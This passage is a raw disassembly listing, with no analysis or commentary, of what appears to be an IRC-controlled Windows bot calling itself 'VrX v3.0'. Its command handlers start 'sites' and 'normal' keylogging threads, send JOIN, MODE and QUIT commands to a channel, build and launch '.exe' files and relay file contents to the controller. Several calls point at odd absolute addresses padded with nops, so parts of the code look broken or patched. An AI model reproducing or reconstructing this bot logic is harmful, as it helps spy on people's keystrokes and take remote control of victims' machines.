--------------------------------------------------------------------------- loc_40839C: ; CODE XREF: sub_401AC7+68C9j push edi push offset dword_42A500 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_4083A7: ; CODE XREF: sub_401AC7+49EEj ; sub_401AC7+4A05j push [ebp+arg_18] push offset a1221 ; "1221" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408518 lea eax, [ebp+var_4BF8] push eax push 104h call near ptr 26C0000h nop push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BD70 lea eax, [ebp+var_17D4] push eax call sub_40AB6A push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C006 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_408439 push 10h push ebx push eax call sub_41C52E add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_40843F ; --------------------------------------------------------------------------- loc_408439: ; CODE XREF: sub_401AC7+695Cj mov [ebp+var_23C4], ebx loc_40843F: ; CODE XREF: sub_401AC7+6970j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408456 push esi call sub_41BEF9 pop ecx mov [ebp+var_23C8], eax jmp short loc_40845C ; --------------------------------------------------------------------------- loc_408456: ; CODE XREF: sub_401AC7+697Ej mov [ebp+var_23C8], ebx loc_40845C: ; CODE XREF: sub_401AC7+698Dj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BD70 mov eax, [ebp+var_4] push edi mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax lea eax, [ebp+var_2C4] push offset dword_42A4C8 push eax call sub_41C006 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3AD add esp, 24h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_416754 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408507 loc_4084F1: ; CODE XREF: sub_401AC7+6A3Ej cmp [ebp+var_23B4], ebx jnz loc_406C42 push 32h call near ptr 26A053Bh nop jmp short loc_4084F1 ; --------------------------------------------------------------------------- loc_408507: ; CODE XREF: sub_401AC7+6A28j call near ptr 26A0EA9h nop push eax push offset dword_42A48C jmp loc_406C33 ; --------------------------------------------------------------------------- loc_408518: ; CODE XREF: sub_401AC7+68F1j push offset dword_42A444 loc_40851D: ; CODE XREF: sub_401AC7+2E40j ; sub_401AC7+447Bj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx jmp loc_406C42 ; --------------------------------------------------------------------------- loc_408530: ; CODE XREF: sub_401AC7+49C0j ; sub_401AC7+49D7j push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C cmp [ebp+var_C], ebx jz loc_401F6C push [ebp+arg_18] push [ebp+var_C] call sub_41C080 push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push edi call sub_41BEF9 add esp, 30h test eax, eax jle short loc_4085B7 push edi call sub_41BEF9 imul eax, 3E8h pop ecx push eax nop call near ptr 26A053Bh loc_4085B7: ; CODE XREF: sub_401AC7+6ADAj push offset dword_42A420 call sub_415CEE mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F6F ; --------------------------------------------------------------------------- loc_4085CB: ; CODE XREF: sub_401AC7+4992j ; sub_401AC7+49A9j push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41C7E0 add esp, 10h test eax, eax push esi jz short loc_408687 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push esi lea eax, [ebp+var_2C4] push offset unk_42A408 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 38h test eax, eax jle loc_409643 push edi call sub_41BEF9 add eax, [ebp+arg_24] pop ecx jmp loc_401F6F ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401AC7+6B49j lea eax, [ebp+var_2C4] push offset unk_42A3D4 push eax call sub_41C006 add esp, 0Ch jmp loc_408FA0 ; --------------------------------------------------------------------------- loc_4086A0: ; CODE XREF: sub_401AC7+4964j ; sub_401AC7+497Bj push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2094], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push offset unk_42A3A0 push eax mov [ebp+var_221C], esi call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3AD add esp, 40h mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset word_414F0A push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408761 loc_40874B: ; CODE XREF: sub_401AC7+6C98j cmp [ebp+var_208C], ebx jnz loc_40884A push 32h call near ptr 26A053Bh nop jmp short loc_40874B ; --------------------------------------------------------------------------- loc_408761: ; CODE XREF: sub_401AC7+6C82j nop call near ptr 26A0EA9h push eax push offset unk_42A364 jmp loc_40883B ; --------------------------------------------------------------------------- loc_408772: ; CODE XREF: sub_401AC7+4936j ; sub_401AC7+494Dj push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2228], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push offset dword_42A338 push eax mov [ebp+var_23B0], esi call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3AD add esp, 40h mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset dword_4146B8 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40882F loc_40881D: ; CODE XREF: sub_401AC7+6D66j cmp [ebp+var_2220], ebx jnz short loc_40884A push 32h nop call near ptr 26A053Bh jmp short loc_40881D ; --------------------------------------------------------------------------- loc_40882F: ; CODE XREF: sub_401AC7+6D54j call near ptr 26A0EA9h nop push eax push offset dword_42A2FC loc_40883B: ; CODE XREF: sub_401AC7+6CA6j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_40884A: ; CODE XREF: sub_401AC7+6C8Aj ; sub_401AC7+6D5Cj cmp [ebp+var_8], ebx jnz loc_403FA2 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403F9A ; --------------------------------------------------------------------------- loc_40886A: ; CODE XREF: sub_401AC7+4908j ; sub_401AC7+491Fj push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F4 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 10h loc_408887: ; CODE XREF: sub_401AC7+6E27j test eax, eax jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 loc_4088A1: ; CODE XREF: sub_401AC7+78B5j lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C jmp loc_4048FA ; --------------------------------------------------------------------------- loc_4088CA: ; CODE XREF: sub_401AC7+48DAj ; sub_401AC7+48F1j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2E0 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 14h jmp short loc_408887 ; --------------------------------------------------------------------------- loc_4088F0: ; CODE XREF: sub_401AC7+48ACj ; sub_401AC7+48C3j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 10h test eax, eax jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push [ebp+arg_18] push edi push offset dword_42A2C4 loc_408954: ; CODE XREF: sub_401AC7+6F14j ; sub_401AC7+6F7Fj ... call sub_415D62 jmp loc_404227 ; --------------------------------------------------------------------------- loc_40895E: ; CODE XREF: sub_401AC7+487Ej ; sub_401AC7+4895j cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40898F push esi lea eax, [ebp+var_2C4] push offset dword_42A2BC push eax call sub_41C006 add esp, 0Ch loc_40898F: ; CODE XREF: sub_401AC7+6EB1j push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push esi push edi push offset dword_42A2A0 jmp loc_408954 ; --------------------------------------------------------------------------- loc_4089E0: ; CODE XREF: sub_401AC7+4850j ; sub_401AC7+4867j cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push esi push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push esi push edi push offset dword_42A284 jmp loc_408954 ; --------------------------------------------------------------------------- loc_408A4B: ; CODE XREF: sub_401AC7+4822j ; sub_401AC7+4839j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40981C push esi push offset unk_42A25C loc_408A7D: ; CODE XREF: sub_401AC7+7A5Aj ; sub_401AC7+7A73j ... call sub_415D62 jmp loc_4034AC ; --------------------------------------------------------------------------- loc_408A87: ; CODE XREF: sub_401AC7+47F4j ; sub_401AC7+480Bj push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C push [ebp+arg_18] push offset dword_42A250 push [ebp+arg_4] call sub_40981C push edi call sub_41BEF9 imul eax, 3E8h add esp, 10h push eax call near ptr 26A053Bh nop push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C push offset dword_42A23C call sub_415CEE jmp loc_4034AC ; --------------------------------------------------------------------------- loc_408AED: ; CODE XREF: sub_401AC7+47C6j ; sub_401AC7+47DDj cmp [ebp+var_C], ebx jz loc_409643 push edi call sub_41B960 push [ebp+arg_8] mov esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409643 push esi lea eax, [ebp+var_2C4] push offset dword_42A96C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409862 push esi push edi push offset unk_42A220 call sub_415D62 add esp, 2Ch jmp loc_409643 ; --------------------------------------------------------------------------- loc_408B5B: ; CODE XREF: sub_401AC7+4798j ; sub_401AC7+47AFj cmp [ebp+var_C], ebx jz loc_409643 push edi call sub_41B960 push [ebp+arg_8] mov esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409643 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409862 push esi push edi push offset unk_42A204 call sub_415D62 add esp, 20h jmp loc_409643 ; --------------------------------------------------------------------------- loc_408BB1: ; CODE XREF: sub_401AC7+476Aj ; sub_401AC7+4781j cmp [ebp+var_C], ebx jz loc_401F6C push [ebp+arg_18] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_401F6C push eax push edi call sub_415BF6 push edi lea eax, [ebp+var_2C4] push offset unk_42A1E8 push eax call sub_41C006 add esp, 14h jmp loc_403F81 ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401AC7+473Cj ; sub_401AC7+4753j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4189DF loc_408C05: ; CODE XREF: sub_401AC7+25D5j add esp, 14h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401AC7+46FCj ; sub_401AC7+4713j push edi push [ebp+arg_1C] call sub_41C080 pop ecx test eax, eax pop ecx jz loc_409643 mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_408CAA push esi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C92 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push esi push edi lea eax, [ebp+var_2C4] push offset unk_42A1C4 push eax call sub_41C006 add esp, 34h inc [ebp+arg_24] jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408C92: ; CODE XREF: sub_401AC7+7173j lea eax, [ebp+var_2C4] push offset unk_42A194 push eax call sub_41C006 pop ecx pop ecx jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408CAA: ; CODE XREF: sub_401AC7+7162j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B1DF add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push edi push offset unk_42A17C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 add esp, 24h jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408CF1: ; CODE XREF: sub_401AC7+4432j ; sub_401AC7+4449j push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408CFE: ; CODE XREF: sub_401AC7+102Fj ; sub_401AC7+1082j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B63B add esp, 20h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_408D1A: ; CODE XREF: sub_401AC7+4404j ; sub_401AC7+441Bj push 23h call sub_40B5F5 test eax, eax pop ecx jle short loc_408D30 push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408D30: ; CODE XREF: sub_401AC7+725Dj mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408DAC mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D93 mov esi, offset aF_0 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408D93 mov esi, [ebp+var_88] loc_408D93: ; CODE XREF: sub_401AC7+72AEj ; sub_401AC7+72C4j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C100 push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408DFF ; --------------------------------------------------------------------------- loc_408DAC: ; CODE XREF: sub_401AC7+7299j push edi push offset aNormal_0 ; "normal" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_408E7C mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DE8 mov esi, offset aF_0 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408DE8 mov esi, [ebp+var_88] loc_408DE8: ; CODE XREF: sub_401AC7+7303j ; sub_401AC7+7319j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C100 push offset aNormalKeyLogge ; "Normal key logger active." loc_408DFF: ; CODE XREF: sub_401AC7+72E3j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 14h lea eax, [ebp+var_2C4] push ebx push 23h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_412665 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408E6B loc_408E55: ; CODE XREF: sub_401AC7+73A2j cmp [ebp+var_A04], ebx jnz loc_4081DE push 32h nop call near ptr 26A053Bh jmp short loc_408E55 ; --------------------------------------------------------------------------- loc_408E6B: ; CODE XREF: sub_401AC7+738Cj nop call near ptr 26A0EA9h push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... jmp loc_406E56 ; --------------------------------------------------------------------------- loc_408E7C: ; CODE XREF: sub_401AC7+72F4j push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408E86: ; CODE XREF: sub_401AC7+4069j ; sub_401AC7+4080j push offset aR ; "r" push edi call sub_41BC88 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F00 mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C2CF add esp, 0Ch loc_408EAF: ; CODE XREF: sub_401AC7+7417j test eax, eax jz short loc_408EE0 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C2CF add esp, 20h jmp short loc_408EAF ; --------------------------------------------------------------------------- loc_408EE0: ; CODE XREF: sub_401AC7+73EAj push esi call sub_41B9DB push edi lea eax, [ebp+var_2C4] push offset unk_42A0A8 push eax call sub_41C006 add esp, 10h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_408F00: ; CODE XREF: sub_401AC7+73D0j push edi push offset unk_42A088 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_408F0B: ; CODE XREF: sub_401AC7+403Bj ; sub_401AC7+4052j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push offset asc_42A084 ; "\n" push esi call sub_41C630 push esi call sub_419F3E add esp, 0Ch test eax, eax jnz short loc_408F48 push offset unk_42A058 jmp short loc_408F92 ; --------------------------------------------------------------------------- loc_408F48: ; CODE XREF: sub_401AC7+7478j push esi lea eax, [ebp+var_2C4] push offset dword_42A040 push eax call sub_41C006 add esp, 0Ch jmp short loc_408FC1 ; --------------------------------------------------------------------------- loc_408F5F: ; CODE XREF: sub_401AC7+400Dj ; sub_401AC7+4024j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_409643 push eax call sub_41870F test eax, eax pop ecx jnz short loc_408F8D push offset unk_42A020 jmp short loc_408F92 ; --------------------------------------------------------------------------- loc_408F8D: ; CODE XREF: sub_401AC7+74BDj push offset dword_42A004 loc_408F92: ; CODE XREF: sub_401AC7+747Fj ; sub_401AC7+74C4j lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx loc_408FA0: ; CODE XREF: sub_401AC7+6BD4j cmp [ebp+var_8], ebx jnz short loc_408FC1 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_408FC1: ; CODE XREF: sub_401AC7+71C6j ; sub_401AC7+71DEj ... lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx jmp loc_409643 ; --------------------------------------------------------------------------- loc_408FD3: ; CODE XREF: sub_401AC7+3FDFj ; sub_401AC7+3FF6j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BD70 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409002 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BD70 add esp, 0Ch loc_409002: ; CODE XREF: sub_401AC7+7527j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+arg_4] push edi mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax lea eax, [ebp+var_2C4] push offset dword_429FEC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3AD add esp, 24h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B2A5 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4090A0 loc_40908A: ; CODE XREF: sub_401AC7+75D7j cmp [ebp+var_1EF8], ebx jnz loc_406C63 push 32h nop call near ptr 26A053Bh jmp short loc_40908A ; --------------------------------------------------------------------------- loc_4090A0: ; CODE XREF: sub_401AC7+75C1j nop call near ptr 26A0EA9h push eax push offset unk_429FAC loc_4090AC: ; CODE XREF: sub_401AC7+2971j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_406C63 ; --------------------------------------------------------------------------- loc_4090C0: ; CODE XREF: sub_401AC7+3FB1j ; sub_401AC7+3FC8j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_410330 push edi push offset dword_429F94 jmp loc_408954 ; --------------------------------------------------------------------------- loc_4090DB: ; CODE XREF: sub_401AC7+3F83j ; sub_401AC7+3F9Aj push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BD10 push edi lea eax, [ebp+var_1D38] push offset aS_1 ; "%s" push eax call sub_41C006 mov eax, [ebp+arg_4] mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C100 mov eax, [ebp+var_4] mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F70 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3AD add esp, 40h mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_416177 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz loc_4023BB loc_409199: ; CODE XREF: sub_401AC7+76E6j cmp [ebp+var_1BA4], ebx jnz loc_40830C push 32h call near ptr 26A053Bh nop jmp short loc_409199 ; --------------------------------------------------------------------------- loc_4091AF: ; CODE XREF: sub_401AC7+3F55j ; sub_401AC7+3F6Cj push edi nop call near ptr 26A0759h test eax, eax jz short loc_4091C2 push edi push offset dword_429F54 jmp short loc_4091CD ; --------------------------------------------------------------------------- loc_4091C2: ; CODE XREF: sub_401AC7+76F1j push offset dword_42A5AC call sub_41864A push eax loc_4091CD: ; CODE XREF: sub_401AC7+76F9j lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 jmp loc_4092A5 ; --------------------------------------------------------------------------- loc_4091E3: ; CODE XREF: sub_401AC7+3F27j ; sub_401AC7+3F3Ej push edi call sub_41BEF9 push eax call sub_419EB7 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_409200 push offset unk_429F30 jmp short loc_409205 ; --------------------------------------------------------------------------- loc_409200: ; CODE XREF: sub_401AC7+7730j push offset unk_429F00 loc_409205: ; CODE XREF: sub_401AC7+7737j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C66 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_406C66 ; --------------------------------------------------------------------------- loc_40923E: ; CODE XREF: sub_401AC7+3EF9j ; sub_401AC7+3F10j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419BAA add esp, 18h cmp eax, 1 push edi jnz short loc_409260 push offset unk_429EE0 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409260: ; CODE XREF: sub_401AC7+778Dj push offset unk_429EB0 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40926A: ; CODE XREF: sub_401AC7+3ECBj ; sub_401AC7+3EE2j push edi call dword_4C9344 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092AD push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4C92BC cmp eax, ebx jz short loc_4092C8 push dword ptr [eax] loc_409293: ; CODE XREF: sub_401AC7+77FFj push edi lea eax, [ebp+var_2C4] push offset unk_429E90 push eax call sub_41C006 loc_4092A5: ; CODE XREF: sub_401AC7+7717j add esp, 10h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_4092AD: ; CODE XREF: sub_401AC7+77B3j push edi call dword_4C9388 cmp eax, ebx jz short loc_4092C8 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4C9390 push eax jmp short loc_409293 ; --------------------------------------------------------------------------- loc_4092C8: ; CODE XREF: sub_401AC7+77C8j ; sub_401AC7+77EFj push offset unk_429E68 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4092D2: ; CODE XREF: sub_401AC7+3E9Dj ; sub_401AC7+3EB4j push 7Fh push edi push [ebp+arg_14] call sub_41BD70 push edi lea eax, [ebp+var_2C4] push offset unk_429E44 push eax call sub_41C006 add esp, 18h jmp loc_4081DE ; --------------------------------------------------------------------------- loc_4092F7: ; CODE XREF: sub_401AC7+3E6Fj ; sub_401AC7+3E86j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4C9270 test eax, eax push edi jz short loc_409317 push offset unk_429E24 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409317: ; CODE XREF: sub_401AC7+7844j push offset unk_429E00 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409321: ; CODE XREF: sub_401AC7+3E41j ; sub_401AC7+3E58j mov al, [edi] mov byte_429090, al movsx eax, byte ptr [edi] push eax push offset unk_429DDC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_409336: ; CODE XREF: sub_401AC7+3E13j ; sub_401AC7+3E2Aj push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE77 push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 add esp, 1Ch jmp loc_4088A1 ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_401AC7+3DE5j ; sub_401AC7+3DFCj push edi call sub_41BEF9 test eax, eax pop ecx jle loc_401F6C push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_401F6C push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C pop ecx pop ecx push 1F4h nop call near ptr 26A053Bh push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call dword_4C939C push [ebp+var_10] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C254[eax] nop call near ptr 26B0E2Fh push edi call sub_41BEF9 imul eax, 234h push edi mov dword_43C254[eax], ebx call sub_41BEF9 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43C040[eax], bl jmp loc_401F6C ; --------------------------------------------------------------------------- loc_40942C: ; CODE XREF: sub_401AC7+3DB7j ; sub_401AC7+3DCEj push edi push offset aAll ; "all" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40945B call sub_40B576 cmp eax, ebx jle short loc_409451 push eax push offset unk_429DB0 jmp loc_407286 ; --------------------------------------------------------------------------- loc_409451: ; CODE XREF: sub_401AC7+797Dj push offset unk_429D88 jmp loc_403F73 ; --------------------------------------------------------------------------- loc_40945B: ; CODE XREF: sub_401AC7+7974j mov 